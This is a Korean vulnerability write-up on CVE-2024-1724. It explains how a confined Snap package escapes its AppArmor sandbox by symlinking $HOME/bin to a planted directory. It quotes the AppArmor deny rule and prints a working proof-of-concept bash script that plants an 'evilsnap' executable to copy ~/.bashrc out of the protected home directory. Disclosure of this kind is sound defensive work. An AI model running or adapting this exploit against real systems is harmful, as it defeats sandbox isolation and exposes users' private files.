[하루한줄] CVE-2024-1724 : Snap의 Symbolic Link 경로 미제한로 인한 Sandbox Escape 취약점
URL
Target
- snap before aa191f9 commit
Explain
Snap은 패키지 관리자로 스토어에서 소프트웨어를 다운받아 설치할 수 있는 프로그램입니다. Snap 패키지는 샌드박스 안에서 실행되고 AppArmor, seccomp 등에 의해 리소스 접근에 제한을 받습니다. Snap은 사용자의 홈 디렉터리에 대한 읽기 및 쓰기 권한을 위해 home 권한을 요청할 수도 있지만 .ssh 등 파일에 접근하는 것을 예방하기 위해 닷파일과 닷 디렉터리에는 접근이 제한됩니다.
사용자가 우분투에 로그인하면 $HOME/.profile
을 실행합니다.
# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/bin" ] ; then
PATH="$HOME/bin:$PATH"
fi
새로 설치할 때는 $HOME/bin
디렉터리가 존재하지 않지만 사용자가 디렉터리를 만들면 로그인할 때 $PATH
앞에 추가됩니다.
하지만 Snap에서는 AppArmor를 통해 bin
폴데에 접근하는 것을 제한합니다.
audit deny @{HOME}/bin/{,**} wl,
$HOME/bin
디렉터리를 만들거나 하드링크나 마운트 등 방법으로 해당 링크를 만들 경우 해당 디렉토리 내 리소스에 접근하는 것을 제한하지만, $HOME/bin
을 Snap 리소스를 가리키는 심볼릭 링크로 만들 경우, 이에 대한 리소스 접근을 제한하지 않습니다.
따라서 Snap 리소스를 가리키는 $HOME/bin
심볼릭 링크를 생성하고 유저가 로그인을 하면 bin
폴더 내 파일에 접근할 수 있습니다.
#! /bin/bash
FILE=".bashrc"
if [ ! -d "$SNAP_REAL_HOME/bin" ]; then
mkdir -p "$SNAP_REAL_HOME/bintmp" // -p 부모 부모 디렉터리 함께 생성
cat << EOF > "$SNAP_REAL_HOME/bintmp/evilsnap"
#! /bin/bash
cp ~/$FILE ~/snap/evilsnap/current/
snap run evilsnap
EOF
chmod +x "$SNAP_REAL_HOME/bintmp/evilsnap"
ln -s "$SNAP_REAL_HOME/bintmp/" "$SNAP_REAL_HOME/bin"
fi
위와 같이 bintmp
폴더를 생성하고 아래 evilsnap
파일을 생성하고 실행 권한을 부여해 준 다음, 심볼릭 링크로 bintmp
폴더를 가리키는 bin
폴더를 생성해 줍니다. 유저가 새로 로그인하면 bin
폴더에 접근이 가능하고 파일을 실행할 수 있습니다.
$ which evilsnap
/home/theuser/bin/evilsnap
$ evilsnap
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
... snip ...
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.